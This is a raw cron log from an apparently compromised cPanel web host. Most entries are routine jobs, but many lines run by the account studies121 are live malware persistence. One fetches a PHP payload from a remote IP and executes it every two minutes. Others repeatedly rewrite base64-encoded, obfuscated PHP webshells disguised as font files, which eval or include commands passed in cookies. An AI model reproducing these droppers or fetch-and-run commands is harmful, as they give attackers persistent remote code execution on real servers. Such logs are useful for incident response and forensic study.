Sep  7 10:01:02 ip-184-168-122-23 run-parts(/etc/cron.hourly)[5375]: finished 0anacron
Sep  7 10:02:01 ip-184-168-122-23 CROND[5464]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 10:02:01 ip-184-168-122-23 CROND[5466]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 10:02:01 ip-184-168-122-23 CROND[5468]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 10:02:01 ip-184-168-122-23 CROND[5469]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 10:02:01 ip-184-168-122-23 CROND[5467]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 10:03:02 ip-184-168-122-23 CROND[5581]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 10:03:02 ip-184-168-122-23 CROND[5583]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 10:03:02 ip-184-168-122-23 CROND[5585]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 10:03:02 ip-184-168-122-23 CROND[5584]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 10:04:01 ip-184-168-122-23 CROND[5694]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 10:04:01 ip-184-168-122-23 CROND[5695]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 10:04:01 ip-184-168-122-23 CROND[5697]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 10:04:01 ip-184-168-122-23 CROND[5696]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 10:04:01 ip-184-168-122-23 CROND[5699]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 10:05:01 ip-184-168-122-23 CROND[5929]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 10:05:01 ip-184-168-122-23 CROND[5934]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 10:05:01 ip-184-168-122-23 CROND[5935]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  7 10:05:01 ip-184-168-122-23 CROND[5931]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 10:05:01 ip-184-168-122-23 CROND[5932]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 10:05:01 ip-184-168-122-23 CROND[5933]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 10:05:01 ip-184-168-122-23 CROND[5936]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 10:06:01 ip-184-168-122-23 CROND[6039]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 10:06:01 ip-184-168-122-23 CROND[6042]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 10:06:01 ip-184-168-122-23 CROND[6041]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 10:06:01 ip-184-168-122-23 CROND[6043]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 10:06:01 ip-184-168-122-23 CROND[6045]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 10:07:01 ip-184-168-122-23 CROND[6153]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 10:07:01 ip-184-168-122-23 CROND[6160]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 10:07:01 ip-184-168-122-23 CROND[6161]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 10:07:01 ip-184-168-122-23 CROND[6162]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 10:08:01 ip-184-168-122-23 CROND[6269]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 10:08:02 ip-184-168-122-23 CROND[6271]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 10:08:02 ip-184-168-122-23 CROND[6273]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 10:08:02 ip-184-168-122-23 CROND[6272]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 10:08:02 ip-184-168-122-23 CROND[6274]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 10:09:01 ip-184-168-122-23 CROND[6386]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 10:09:01 ip-184-168-122-23 CROND[6387]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 10:09:01 ip-184-168-122-23 CROND[6388]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 10:09:01 ip-184-168-122-23 CROND[6390]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 10:09:01 ip-184-168-122-23 CROND[6393]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  7 10:10:02 ip-184-168-122-23 CROND[6619]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 10:10:02 ip-184-168-122-23 CROND[6620]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 10:10:02 ip-184-168-122-23 CROND[6626]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 10:10:02 ip-184-168-122-23 CROND[6623]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 10:10:02 ip-184-168-122-23 CROND[6628]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 10:10:02 ip-184-168-122-23 CROND[6624]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 10:10:02 ip-184-168-122-23 CROND[6625]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 10:10:02 ip-184-168-122-23 CROND[6627]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 10:11:01 ip-184-168-122-23 CROND[6723]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 10:11:01 ip-184-168-122-23 CROND[6725]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 10:11:01 ip-184-168-122-23 CROND[6724]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 10:11:01 ip-184-168-122-23 CROND[6726]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 10:12:01 ip-184-168-122-23 CROND[6852]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 10:12:01 ip-184-168-122-23 CROND[6853]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 10:12:01 ip-184-168-122-23 CROND[6854]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 10:12:01 ip-184-168-122-23 CROND[6855]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 10:12:01 ip-184-168-122-23 CROND[6859]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 10:13:01 ip-184-168-122-23 CROND[6993]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 10:13:01 ip-184-168-122-23 CROND[6996]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 10:13:01 ip-184-168-122-23 CROND[6997]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 10:13:01 ip-184-168-122-23 CROND[6995]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 10:14:01 ip-184-168-122-23 CROND[7109]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 10:14:01 ip-184-168-122-23 CROND[7110]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
